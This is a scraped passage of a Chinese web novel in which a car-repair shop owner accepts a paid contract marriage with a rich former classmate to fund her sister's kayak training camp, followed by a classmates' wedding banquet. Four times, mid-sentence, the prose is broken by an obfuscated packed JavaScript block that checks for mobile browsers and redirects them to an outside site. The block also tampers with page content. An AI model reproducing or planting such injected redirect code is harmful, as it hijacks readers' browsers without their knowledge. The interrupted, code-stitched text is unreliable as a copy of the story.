退出易年聊天框,夏树看见陈艺敏在高中班级群里逐个@了能去她和李泽婚礼的同学,确定去的人数,夏树回了个数字1便摁熄手机去洗澡。 隔天上午,夏林回和庄村前,拿着皮划艇比赛的奖牌和奖金来到汽修厂,说要把奖牌放在夏树这里,不带回家了。 夏林看上去兴致缺缺,估计是一场大赛过后精疲力竭,夏树便差保钦元去菜场买几样菜来做一顿好吃的犒劳夏林。 汽修厂来了单大生意,一辆剐蹭严重的事故车需要修复,夏树和罗超罗勇捣鼓着车子,夏林则像往常一样,将几个人的脏衣服全部拿去洗了,又打扫了夏树房间和二楼公区的卫生。 忙活了一阵,夏树上楼叫夏林休息,并且想跟她聊聊今后的职业规划。 她拿着夏林的两块奖牌端量了很久,指着房间里的一面空墙:“我得把这面墙重新刷一遍,再弄个防尘玻璃罩,今后你的所有奖牌都挂这里。” 夏林牵强地笑笑:“这次预赛算是瞎猫碰上死耗子了,半年后的决赛能不能拿奖都还不知道呢!” “你怎么又泄气了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152269|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”夏树戳了下夏林的脑袋,“别一天到晚妄自菲薄,你明明很有实力的,今后肯定也能冲冲国赛。” 夏林拨了几下刘海,避开夏树的视线:“国赛我就不指望了,半年后要是能获名次就拿个国家运动员等级证,老老实实考个大学,如果能超常发挥,获得个第一名,还能包分工。” 夏树虽不是运动员,但在她认知里,所有运动健儿的目标都应该是驰骋赛场。 听见夏林不指望比赛时,她有些意外。 她不知道是不是自己只顾着汽修厂的事,从而忽略了夏林内心的一些想法。 毕竟在夏林这个年纪,对社会对未来的概念还很模糊。 她不想让自己显得太婆婆妈妈,便只用玩笑的语气鼓励夏林:“你才十六岁,未来可期,好好训练,难说过两年我就能在奥运转播里看到你了,到时候你火了,多给我宣传一下我的汽修厂。” 夏林终于笑了:“姐,你也太看得起我了!” 姐妹俩闲聊不久,保钦元就做好了饭,吃过饭后,夏树开车将夏林送到了客运站。 送走了夏林,汽修厂又恢复了往日的忙碌,为了想更多地了解夏林的想法,夏树每天都会抽空和夏林打电话或是发信息关注她的心理状态。 几天后,陈艺敏和李泽婚礼当天早晨,夏树接到了夏林教练余震东的电话,电话才接通,余震东就问夏树家属决定好没。 夏树不解,礼貌询问:“余教练,请问您指的是?” “这次的集训啊,现在所有队员都敲定下来了,就只差夏林一人。” “余教练,您能再说得清楚些吗?” 余震东在电话里说,这次省赛预赛结束过后,几个获奖队员家属商议决定请一个国家重量级教练来做一个时长两个月的暑期集训,需要各家自费,他和夏树父母通过电话,结果父母才听说要出钱就说夏林不去。 余震东:“夏林姐姐,我是觉得夏树这孩子天赋不错,但是说实话,我自己乃至省内的皮划艇水平就这个样,如果她们能得到更系统的训练,那肯定更好,所以我就从你父母那里要了你的号码,想跟你商量看看。” 夏树听出余震东的意思,直接问道:“那余教练,我们需要准备多少钱呢?” 余震东没直接说金额,只是一个劲介绍这次集训的内容:“你看,我们去的是省外,教练又很难请,教练请来了,吃住肯定不能太差,营养师的费用,还有各种场地费,我们领队要负责队员的人身安全,肩上责任也不轻。” 夏树附和道:“对,您说得有道理,那我们大概要准备多少钱呢?” 余震东:“之前比赛时候我看你和咱们大赞助商都认识,应该也不差这点钱,初步算下来,每家头上可能至少要出到七八十万,不过我觉得准备一百万左右可能比较保险。” 听到金额,夏树震惊到说不出话。 电话那头又补充道:“但是这都是队员自发组织的,你们不愿意参加也不会有人强迫,之前也有过这样的集训,只有有潜力的队员才能参加,并不是说所有人想参加就能参加。” …… 余震东和夏树的通话大概持续了半小时,夏树几乎是抱着极其复杂的心情听完的,最后她没有立即答复,只说再考虑一下。 挂了电话,夏树发现有一条来自易年的未读消息:【待会儿我会经过你那边,顺便接你一起去婚宴】 21. 第 21 章 夏树没心思理会易年的信息,而是琢磨起余震东的话。 她不明白,为什么一个集训需要那么多钱,她记得夏林初中的时候体校也组织过集训,那时候的集训并未收取费用。 所以余震东所说的金额用途,她表示怀疑。 虽然抱有疑虑,她还是给夏林打了个电话,直奔主题问关于集训的事。 夏林语气淡然:“姐,你不用管他,反正我也不可能去。” 夏树:“哪怕是两个月,真的要得了那么多钱吗?七八十万,都够我开几个汽修厂了。” 夏林:“请的教练挺贵,占大头,而且余教练他们担风险,他们还要往自己口袋里装点。” 夏树还是不能理解:“那去的人出这么多钱,真的值吗?有意义吗?你们这次才是省赛而已!” “因为省级赛事四年才举办一次,上一次省赛预赛结束后也组织了这样的集训,后来集训的六个人都在决赛取得了好成绩,有三个还被国家队选走了,所以今年去的人应该都想拼那50%的概率吧。” 夏林像在讲述与自己无关的事,夏树却忽地站了起来:“什么!国家队?” “嗯,据说那个教练很厉害,带出过很多冠军。嗐,姐,你也别惊讶了,反正这事跟我无关,我就老老实实考大学,争取分工就行。” …… 夏林没和夏树通话太久,母亲叫她去干活,她便挂了电话。 不可否认的是,在听见国家队三个字时,夏树除了惊讶,更多的是激动。 她当然也希望自己的妹妹能够取得好的成绩,或许是因为夏林参赛少,获奖经验少,她觉得夏林能像这次一样在省级赛事中取得成绩就已经很不错了,还没往国家队想过。 听见集训的人有一半进了国家队,夏树的第一反应是那夏林肯定也要去集训啊,但是那一秒短暂的痴心妄想后,她归于现实。 哦,集训要钱,至少七八十万。 此刻夏树心头的无力感,不亚于当年听父母说自己不能上大学,只能学汽修。那时候的她也曾怀揣梦想,却只能亲眼看着梦想破灭。 她突然想到夏林到汽修厂那一天说的,不指望比赛。 或许夏林从那时候就想明白自己不能去集训,自然不能像那些队员一样憧憬国家队。 思及此,夏树想,要是她有能力为夏林出了集训的费用,那该多好啊。 教练余震东在这个时候加了夏树微信,发了集训的场地和运动员食宿信息过来。 夏树忍不住点开,把图片一张一张放大来看。 不可否认,这样的标准确实对得起它的价格。 捧着手机无措地发了会儿呆,夏树上楼洗澡,打算先去银行把现金存了,再去婚宴。 洗完澡穿了身还算得体的衣服下到楼梯口,看见汽修厂院子一角停了辆库里南,是易年的那辆。 下完所有台阶,看见易年站在里屋门口,白色韩式半袖衬衣搭配休闲西裤,看上去松弛又儒雅。 “你来干嘛?”夏树瞥向库里南,“又来洗车?” “接你。” 夏树疑惑凝眉。 “我发信息给你了,你没看见?” 经易年一说,她才想起,易年给她发了条信息,刚刚因余震东的电话就把这事忘了。 “你也要去?上次没见陈艺敏在群里@你啊。” 易年眉梢轻轻一扬:“有没有可能,比较尊贵的客人不在群里@,而是单独私信。” 夏树嫌弃地咧了下嘴…… 他还能再不要脸一点,再狂妄一点吗? “哦,这样啊,尊贵的客人,那我可不敢劳您大驾,我自己去就行了。” 见下树不接这一茬,易年收起了玩笑的语气:“行行行,我不尊贵,走吧,一起去。” 夏树摁亮手机,看了眼时间:“现在才九点,你要过去干什么?吃早点吗?” “我有点事,想认真跟你谈谈。”易年表情严肃。 “谈什么?” 易年环视一圈汽修厂:“要不找个地方坐下来说?这里可能不太方便。” “谈多久?” “这个……可能看你。” 还未从夏树集训的事中抽离出来,夏树没什么兴致跟他斗嘴,便说:“那你先送我去一趟银行。” - 易年把夏树送到附近银行存了现金,本来打算找个咖啡厅坐下来谈,但这个点附近的咖啡厅都没开门。 正巧夏树还没吃早点,就找了个粥店,点了一碗粥和一笼小笼包。 夏树把小笼包推到桌子正中:“你吃吗?” 易年摇头:“我吃过早餐了。” 她又把小笼包拉回自己面前:“说吧,谈什么。” 易年身体坐直,撑了撑衣摆,嘴唇开合,思忖了好久才说:“上次我说的,结婚的事,我希望你再考虑一下。” 夏树把刚夹起来的小笼包往蒸屉一扔:“我说你——” “你别急着拒绝,先听我说完。” 易年一改往日的倨傲模样,像一只巴巴求宠的小狗,双眸里尽是真切。 夏树不由地收住火气,安静听他说。 “我的祖母,你还记得吗,你原来见过她。” 夏树点了点头。 高中时易年几乎每个周末都会去他家葡萄园那边的酒庄找父母,酒庄和禾庄村是一个方向,夏树和他顺路,每周末都可以搭他的顺风车回家。 有次半路上其他车出了事故,车子堵在那里有不通,只能折返回来,已经回不去学校宿舍,易年父母就让易年带着夏树去祖母家。 那时候她就见过他的祖母,是一个消瘦却精神矍铄的慈祥老人。 易年:“你可能不知道,当年祖父离世,爷爷部队南下,祖母跟着他一起来离阳,吃了很多苦,后来爷爷带着祖母当了奶奶的上门女婿,祖母怕自己给爷爷拖后腿,从酿酒到卖酒,家里什么活都做,可以说我家酒庄有今天八成都是我祖母的功劳。” 当年夏树就觉得易年的祖母气质跟寻常老人不大相同,未曾想竟然这么精明强干。 易年:“她今年九十九岁,身体情况不太乐观,我们所有人都希望她可以活到百岁,但是她却跟我说,她不奢望自己能活到百岁,只想在有生之年看到我结婚。” 讲到这里,易年眉心逐渐加深。 易年:“她那一辈的人对婚姻很重视,易雯溪离婚的事到现在她都还不知道,为了瞒着她,我那个出轨的前姐夫还经常到我家来帮忙演戏。” 他就这样认真且毫无保留地讲述着家里私事,夏树渐渐放下筷子,模样比先前端正许多。 易年:“你应该知道,我父母通情达理,我从小什么都不缺,家里人也不会对我有任何要求,成长过程中的任何事情都是顺理成章发生。让我结婚,这好像是我记忆中,他们对我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165014|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯一一个要求。” 夏树抿了抿唇:“那你就结呗,满足他们的要求,以你家的条件,应该什么样的女孩都不缺,你为什么要找上我?” 静默片刻。 “我原本没有结婚的打算,”易年轻笑一声,“觉得就这样单一辈子也挺好。” “哦,然后呢。” “那些女的,比如李若尔,我不喜欢。” 闻言,夏树眸色加深,手指捏紧了衣角。 如果这是他找上她的理由,他说不喜欢那些女的,难道…… 她觉得难以置信,却仍小心翼翼试探:“难道你喜欢我?别开玩笑了……” 易年唇瓣微张,愣了几秒,垂下眼帘:“我不是这个意思。” “我想说她们从小娇生惯养,不食人间烟火,跟她们结婚的话,就相当于往身边塞了个活祖宗,而且还会涉及到家族利益,那样会很累,但如果是你,就不一样。” 夏树松了口气,还以为他要说他喜欢她。 但说不上来为什么,当他否认时,她心里像是有一丝没由头的小失落突然窜了出来。 “那你的意思是,跟我结婚,不会累?” 易年斩钉截铁:“不会。” “为什么?” “至少我觉得高中跟你同桌的那三年,很……”他做了个吞咽动作,双眼不易察觉地闪动,“很轻松。” 易年想跟她结婚的理由阐述得很充分,夏树却仍旧不太能接受这样的事。 准确来说,从她二十岁那年,被父母逼她嫁给市里屠宰场主家的傻儿子开始,她就很排斥“结婚”两个字。 “夏树。” 他的声音缱绻而绵长。 “跟我结婚吧,任何条件我都可以答应。” - 去往婚宴的路上,车厢内鸦雀无声。 在粥店时,夏树没有立刻拒绝易年,只说了句“我想想”。 因为当他说任何条件都可以答应的时候,夏树瞬间联想到了夏林的集训。 照他的意思,如果说让他拿出七八十万来,应该也完全没问题。 此刻,她的思绪很乱。 一边是对结婚的排斥,另一边是对夏林未来的希冀。 “已经过了二十分钟了,”易年清润的声音在她耳畔响起,“你想好了没?” 她偏头瞄他一眼:“催什么催,没想好!” 易年唇角带笑:“好,好,我不催你,你慢慢想。” 只要是没被拒绝,就证明还有机会。 微信铃声连续响了几声,教练余震东给夏树发来了夏林接触皮划艇四年以来的数据分析。 夏树认真翻看着夏林每个阶段的成绩比对,确实是越来越好,但是最近三个多月的成绩都趋于平缓,没有太大突破。 紧接着又收到了余震东发来的一条长发六十秒的语音。 夏树点开语音,将手机放在耳边。 余震东说的话,她抓住了几句重点: 夏林个头不占优势,想靠平时在学校的训练来突破成绩很难,但按照以往的训练情况来横向比较,如果能参加密集且系统的集训,以他的专业眼光几乎可以断定,夏林想进国家队不是难事。 语音播完,随着越发强烈的荒唐念头攀升,夏树心跳陡然加速,双颊不受控地发烫。 她深呼吸顺了顺气,摁熄手机屏幕。 “易年,停车。” 22. 第 22 章 易年依照夏树所言打开右转向灯,将车子停靠在了路边。 “怎么了?哪里不舒服吗?”他问。 车厢内空调21℃,极速飙升的肾上腺素使夏树仍觉得燥热到难以呼吸,于是她将车窗打开,对着衣领口扇了扇风。 盛夏,晨间的风早早就没了清凉的痕迹,但呼吸着这湿热的空气,夏树才有了实感,知道自己没在做梦。 “易年。” 她的胸腔被心脏猛烈撞击着,不知为何会这么紧张,只知道接下来要说的话即将把两人的关系推到一个未知的境地。 “结婚,我答应你。” 停在路边的车子遇上早高峰,后方的鸣笛声络绎不绝地从车窗灌进来。 “你说,什么?” 他的声音很轻,轻到几乎快被鸣笛声覆盖。 “我,可以跟你结婚。” 周遭的湿热空气被沉寂包裹得严严实实。 易年的脸上没有任何表情,甚至眼底也看不出分毫情绪。 睫毛小幅度的翕动几下,他说:“好。” 夏树看不懂他。 明明在跟她商量结婚的时候看上去还有些迫切,此刻居然一点多余的反应也没有。 应该不至于这么快就想反悔,毕竟他都已经说了声“好”。 实在不放心,夏树又问:“那你刚刚说的我可以提条件,还算数吗?” 易年的反应很迟钝,几秒后才说:“算。” “行,”夏树从后视镜看了眼越发堵塞的车流,“那我觉得咱们应该把车停好,再来细谈这个事。” - 两人所处位置离婚宴酒店不远,夏树提议直接开到酒店停车场。 下车后,夏树走在前头。 或许是还未从这个荒唐的决定中缓过神来,她不太敢直视易年的眼睛。 她顺着酒店的人造小溪漫步前行,在一座拱桥前停下来,抱膝坐在台阶上。 易年:“要在这儿说?” 夏树缓慢仰头。 易年就站在耀眼的晨光里,光线穿过他的发丝,为他周身镀上一层金色滤镜。 这样看这个男人,真的好看得不切实际。 “嗯,就在这吧!”她的视线下移,平视着易年身上那条高克重羊毛面料西裤,“地上脏,你别坐了,委屈你站一下。” 夏树话才说完,易年就跟她坐在了同一台阶上:“没事,说吧。” 夏树瞥他一眼,清了下嗓。 “那个,我再确定一下你的意思!你的意思是我开价,然后你给我钱,我来扮演你的……结婚对象,对吧。” 她原本想说“老婆”,但话到了嘴边却怎么都出不来。 易年浅勾着唇,“嗯”了一声。 “那要扮演多久呢?是不是一直到你的——” 夏树想问是不是扮演到他祖母离世,又突然反应过来这样说极度不妥,便立刻闭了嘴。 易年似乎猜到夏树未说出口的话,鼻腔重重吸了一口气:“我当然也希望我祖母能活得久一点。” 夏树讪讪抿了抿唇:“对不起啊,我只是想问问需要扮多久而已。” 易年:“没事。” 易年并未计较夏树的冒失,想了想,夏树决定直奔主题。 夏树:“合约期限可以再商议,但我想要八十万,你看你能不能接受。” 易年:“你发帐号给我,我现在转给你。” 交易推进得过于顺利,易年甚至都没还价! 夏树始料未及,瞪圆眼睛吸了吸鼻子,把自己卡号发给了易年。 易年掏出手机戳了几下屏幕:“不然凑个整数先转一年的,我现在转一半给你,剩下的五百过了十二点转。” “等等!”夏树打断了他,“什么五百?” 易年:“我个人账户给你转,没预约的话,每天转账限额五百万。” “多少?!五百万,你别吓我!”夏树一度怀疑自己空耳,直到看见易年肯定地点了点头,她才问,“你数学是幼儿园水平?到底是怎么算的……” 易年:“不是你说的,八十万,一年就是九百六十万,干脆给你凑整一千万。” 夏树:“……” 还怪大方的? 这位大哥说的是钱没错吧!不是随便张口就来的数字吧! 一次性要他八十万,夏树都觉得要多了,他居然以为她要的是一个月八十万…… “大哥!我说的是,一共八十万!一个月八十万,你是想吓死我吧!” 易年侧身直视着她,眉头微微皱起:“这么少?” “这还少?”夏树既无语又震惊,扶额片刻,突然拉开与易年的距离,捏紧了衣领,“等等,你不会是有什么企图,才想给那么多吧?说的不是演戏而已吗,要是你想假戏真做我可不干!” “喂!你把我当什么人了?”易年懒散偏头,“如果我是你想的那种人,你喝醉那晚那种情况下,我早就——” 易年的话戛然而止,夏树自然也听出他的意思。 事实也确是如此,那晚夏树拖着他不让他走,也没见他做出什么出格的事。 两人默契地将视线从对方身上移开,中途夏树又偷瞄了他一眼,他的耳根处泛起一抹淡淡的红色,映衬着他的硬朗轮廓。 “不是就行,”夏树挠了挠头,“反正说好了,我就要你八十万,多一分我也不会要!” 易年手捏下巴思忖片刻,牵起唇角伸出右手:“好,合作愉快。” - 说实话,八十万把自己“卖”了,虽然听起来荒唐至极,但在去往婚宴厅的路长,夏树还是觉得很值,至少夏林集训的费用有了着落。 在拱桥石阶上的时候,易年将那八十万转了过来,夏树立刻回复余震东夏林要参加集训。 余震东连发了好多条长语音给夏树,告知她关于集训的具体事宜,正听着余震东的语音,夏树看到了一个熟悉的身影。 同一时间,杨子毅也看见了夏树,他冲着对讲机交代了几句,欣喜地朝她走来:“夏树,你怎么在这里?来参加婚宴吗?” “对,”夏树礼貌笑笑,“我来参加高中同学婚礼,你这么也在这?” 杨子毅扬了扬手中的对讲:“我是这场婚礼的负责人啊!” 夏树之前听校友说过他转行做了婚礼管家,未曾想能在这里遇见。 “夏树,这位是?”易年问。 “他是我大专时的师兄,杨子毅。”夏树面对杨子毅,“他叫易年,我们都是新郎新娘的高中同学。” 杨子毅上下打量着易年,敷衍地说了句你好,便说他上前带路,将夏树带去宴会厅,夏树说了不用,他仍坚持说自己忙完了,要跟她叙叙旧。 夏树跟杨子毅不熟,而且曾拒绝过他的追求,此刻见他如此热情,觉得有些无所适从。 “夏树,咱们这好多年没见,你还是和以前一样漂亮啊。” 夏树没回话,只是尴尬地笑笑。 易年突然拽住夏树的手腕:“陪我去车上一趟。” 手腕上的温热使夏树停住脚步:“啊?现在?” 易年眼风从杨子毅面前带过:“红包忘拿了。” 与此同时,杨子毅对讲里传出声音,说礼炮数量不对,需要他去核实,夏树便让他先去忙。 她话音未落,就被易年拉着离开了现场。 她的手腕还握在易年手中,他的体温似乎传到了她的脸颊。 夏树在他身后亦步亦趋,没有分毫反抗之力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178500|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 到了酒店门厅,易年停了下来,抬下巴指了指休息区沙发:“坐会儿,待会儿再进去。” 回过神,夏树眼睛眨巴几下:“你不去拿红包了?” 易年松开她的手先坐到沙发上:“我直接转账,不用红包。” 夏树:“那你还叫我出来?” 易年:“刚刚那人你不想搭理他吧!” 夏树点了点头。 易年:“我也是。” 夏树“哦”了一声,坐到了沙发的另一端。 没想到,易年眼光还挺敏锐,居然看出她不想搭理杨子毅。 易年长腿交叠,手指交叉懒懒向后一靠,语调散漫:“今后身份不一样了,你我跟异性都该保持距离。” 夏树点了点头。 觉得他说的也有道理,毕竟拿了钱,自己就应该扮演好该做的角色。 不多时,一张张熟悉的面孔陆陆续续出现在了酒店门厅,大家都迎上来跟易年和夏树打招呼。 原来的同学几乎都知道易年和夏树是同桌且关系不错,看见两人坐在一起并未多想。 有同学邀易年先进去,易年说再等等,于是其他人就跟随他们一起待在门厅,很快,门厅就乌泱泱围了很多人。 夏树以为易年在等曾经跟他玩得好的几个公子哥,直到看见周雨唯,易年终于起身:“走吧。” 周雨唯环视一圈,没看见新郎和新娘,被这阵仗吓了一跳,指着自己的脑袋:“我去!你们这是在等我吗?实在是受宠若惊啊!” 她心想,定是大家知道她曾经和李泽交往过,怕陈艺敏会在今天给她难堪,所以才在这里等着她,给她撑场面。 在进宴会厅的路上,夏树跟在易年身后,小声问了句:“不等你的铁三角了?” “他们不来。”易年放慢脚步跟夏树并排,“只是陪你等闺蜜。” 夏树:“?” 还陪她等闺蜜……这么快就进入角色了? - 知道夏树和易年“睡”了,在落座时周雨唯想方设法地挤走想坐易年旁边的人,让他俩坐在一起。 婚宴进行时也没有周雨唯想象中的新人和旧人的厮杀。 曾经的同学围坐在一起,你一言我一语,都在追忆往昔,但话题总是离不开曾经学校的风云人物易年。 周雨唯坐在夏树旁边,看着身旁这两人实在般配,忍不住借口拍大合照,为他们多拍了几张。 酒席过半,一个已为人父的男同学突然感慨起来。 “我们这些人天南海北,要不是老同学结婚,都聚不到一起,所以在座的各位应该抓点紧,赶紧提上结婚日程。” “嗐!人长得丑,老光棍一条,可别指望我!” “也别指望我,赚不到钱,刚被好了两年的女朋友甩了!” 闻言,周雨唯想试探易年的意思:“那咱们的易总呢,玉树临风,事业有成,应该想结就结吧!” 夏树拽了拽周雨唯的衣角,让她闭嘴,可周雨唯仍逼问易年:“易总,说说呗!” “易年以事业为重,现在结婚也太早了吧,周扒皮,你想什么呢!” 周雨唯玩笑地指着那个男生:“你再叫我周扒皮我跳过去削你!” 当事人突然发了话:“我有未婚妻。” 易年此话一出,圆桌瞬间炸了锅,连其他桌的宾客都纷纷朝他们投来好奇的目光。 周雨唯越想越不对劲,站起来重重地拍了下桌子:“我草,易年,我没看出来你他妈居然还是渣男啊!你有未婚妻干嘛还来招惹夏树?!” 对于周雨唯的怒骂,易年反而意味深长地抬了抬唇。 周雨唯正想再骂他几句,只看见身旁的人被易年牵起了手:“我的未婚妻就在这里!” 23. 第 23 章 “嘶……” 几个男生面面相觑,都在默默观察着桌上涌动着的暗流。 易年原来在学校里就没人敢惹。 周扒皮虽然人缘好,跟谁都处得来,但她跟易年的关系没有好到指着他骂,他却没有反应的地步。 很有可能像周扒皮所说的一样,易年“招惹”了夏树,所以她作为夏树的闺蜜才会站出来出头。 但是大家都想不明白,易年拉着夏树的手,说她是他未婚妻的用意。 通过周扒皮的反应来看,她都不知道易年有未婚妻,那么她闺蜜夏树就绝不可能是他的未婚妻。 想到这里,有个男生终于开口打破僵局:“恭喜恭喜,咱们易总终于会开玩笑了。” 马海波附和:“易年,就只有你敢拿咱们小野猫开玩笑。” 周雨唯还未坐下,马海波又说:“啧,周扒皮,要不你也别在那边坐了,过来坐我旁边,咱两也凑一对!” “滚!”周雨唯睨一眼坐了下来。 席面继续。 坐在旁边的女生拽了拽周雨唯的袖子:“唉,雨唯,我记得当年毕业那天他俩不是闹得挺僵的吗,最后谁也没去拍毕业照,他们后来怎么好上的啊?易年刚刚说的未婚妻是真的吗?” 周雨唯觉得易年在开玩笑,而且这玩笑还开得有些过了。 她抿直唇线坚定地冲女生摇了摇头,转头对易年说道:“易年,你这玩笑开的……不是找骂吗?” 易年表情严肃:“我没开玩笑。” 被一群人当成焦点,夏树极不习惯,她皱着眉头甩开易年的手,低头沉默。 哪怕已经收了易年的八十万,基本敲定了她和易年婚姻关系,但还是不太能接受这么快就在一群老同学面前说了出来。 女班长以为易年在故意捉弄夏树,站出来替她说话:“咦?易总,人家都不搭理你,你还要继续拿老同学开涮啊!” 易年侧过头,挑眉轻声问夏树:“你说呢,我有没有开玩笑?” 夏树砸了下嘴,瞪他一眼:“你有完没完!闭嘴行吗!” 易年:“……” 好,我闭嘴。 见一直不可一世的风雨人物易年在夏树那里吃了瘪,又有人开始怀疑:“我去,你俩不会是来真的吧!” 夏树垂着脑袋吃席,易年看了一眼夏树,对八卦的同学说道:“菜看着还不错。” 马海波玩笑道:“咳咳,那我可等着吃喜糖了啊!”说罢,他又问夏树,“对了夏树,我之前听扒皮说你开了个汽修厂,挺厉害啊!地址在哪,下次保养车子我就找你!” 夏树抬眼,把头摇得像拨浪鼓:“别别别,熟人生意我可不做!你要来我也不打折,所以还是别来了!” 熟人之间多收不合适,收少了自己又亏,好比上次易年来洗车,忙活半天只能收他三百。 马海波:“唉,这么绝情啊!只认钱不认人!” 夏树:“不然呢,我只喜欢钱,当然是只认钱咯!” 如果不是这样加班加点地“计较”每一分钱,她怎么能在三四年内就攒了十多万,开起现在的鑫鑫汽修厂。 一旁的易年将夏树的话听了进去,说不上来具体是什么感觉,只觉得心里堵得慌。 她说她只喜欢钱,所以还是应该庆幸,自己不差钱。 - 席间,夏树并未与易年说话。 宴席过半,服务员往每人面前都放了一盅羹汤,易年用汤匙搅拌两下,便把自己的那一盅放回餐桌转盘:“我没动过,你们谁要的话请便。” 说完他端起夏树的那一碗,也放到了转盘上。 周雨唯见状制止易年:“哎哎哎,你不吃就不吃,干嘛把树的也拿走了?” 易年将头微微探出,视线自然地落在夏树身上:“她也不吃。” 夏树这才伸着脑袋看了眼转盘上的两碗鲍鱼番茄羹,想起上次和易雯溪吃饭时,易年说过因为她脚受伤帮她打过饭,所以记得她的忌口。 “嗯,对,里面有番茄。” 周雨唯拿着汤匙扒拉了两下羹汤,八卦的语气长长“哦”了一声:“我都没注意,你可以啊,易总,这都知道!” 易年轻咳一声,没回话。 周雨唯又戳了戳夏树的腰,贴到夏树耳畔:“讲真,我觉得你俩真的有戏,居然记得你的忌口,而且刚刚虽说是开玩笑吧,他还拉了你的手。” “……” 夏树原本想告诉周雨唯她和易年的合作关系,但是想了想,这里人多口杂,并且应该先征得易年同意,便对此闭口不言。 婚宴接近尾声,周雨唯说她待会儿回公司加班,要先走,作为两人的cp粉,她交代易年把夏树送回去,易年说了声好。 宴席结束,夏树打算先上个卫生间再和易年一起离开,才走出婚宴厅杨子毅就追了出来。 “夏树,你等等,”杨子毅走到她旁边,掏出手机打开微信,“那个,要不咱两加个微信吧,之后有空的话我约你,吃饭。” “我看你们那桌老同学刚刚吃饭时候好热闹啊,咱两之后也可以约上其他是兄弟,大家一起聚聚。” 想起易年之前叮嘱她要和异性保持距离,她微笑着摆手拒绝:“不用了,我现在没在4s店干了,自己开了个小厂子,平时很忙,应该不太能抽出时间。” “我听说了,你带了几个徒弟自立门户。其实这几年我还是会经常跟原来的师弟们打听你的消息。” 又被夏树拒绝,却在杨子毅意料之内,他仍抬着手机。 “没事,没空吃饭的话也可以加一个微信嘛,我看你这些同学大多都没结婚,今后如果他们需要婚庆,我们可是离阳是数一数二的婚庆公司,到时候你可以向他们介绍我!” 夏树眉头轻蹙,抿了抿唇:“这……” 她平时来往的人就这么几个,哪里来生意可以介绍给他。 杨子毅脸上带笑:“还是说因为我曾经追过你,你就不想给我介绍生意啊!” “……” 夏树真的不喜欢跟牙尖嘴利的人打交道,杨子毅这话,几乎是在说,如果她不加微信那就是还在乎原来的事…… 想了想,不过就是好友列表里多添了一个人,也没什么大不了。 她无奈扯了下唇,掏出手机打开微信:“你扫我吧,今后有人要找婚庆公司的话,我就介绍你。” 伴随“滴”的一声,易年走到夏树身边,轻声问道:“你不是要去卫生间吗,怎么还在这呢?” 夏树摁熄手机,“嗯”了一声,转头对杨子毅说:“师兄,那你先去忙吧。” 杨子毅说他也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188480|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去卫生间,场面就变成夏树走在前,身后一左一右跟着两个一米九的大长腿。 后背隐隐还传来几分说不清道不明的寒意,经过一面镜面墙时,她迅速瞟了一眼,似乎看到了极少出现在易年身上的攻击性。 夏树暗忖,这两人跟在她身后,像极了两个尽职尽责,一丝不苟的私人保镖。 易年和杨子毅几乎同时进入卫生间,又同时出来,洗完手,两人都站在卫生间门口。 易年单手插兜,对身边的男人视而不见。 杨子毅:“帅哥,你还不走?” 易年面色冷凝,只瞥他一眼:“我等她。” 杨子毅若有所思地点了点头,片刻后,他掏了张名片出来:“我叫杨子毅,比夏树高两届,夏树毕业实习我还带了她一年半,后来转行做婚庆,我公司算是离阳最好的婚庆公司了,帅哥今后有需要可以找我。” 易年垂眼瞟了眼名片,杨子毅又补充:“不过我们收费有点高哦,毕竟质量摆在这里嘛。” 易年听出杨子毅话里有话,眼皮轻掀,食指和中指指尖夹过名片一角,未置一语。 杨子毅:“不知道方不方便问问你是做什么工作的?” 沉默片刻,易年想到夏树向保钦元介绍的他,情不自禁勾起了唇,干脆答道:“酒水销售。” “嘶——酒水销售,”杨子毅挑着眉尾,思考状,“那收入应该不太稳定吧。” 易年懒散偏头:“不算太差。” 杨子毅还想打听点什么,就见夏树从卫生间里出来。 “夏树,我这边马上就可以走了,你待会儿去哪,我送你。” 夏树眼睛指向易年:“不用,我跟他一起走。” 易年扇了两下手中的名片:“多谢师兄的介绍,我们先走了。” 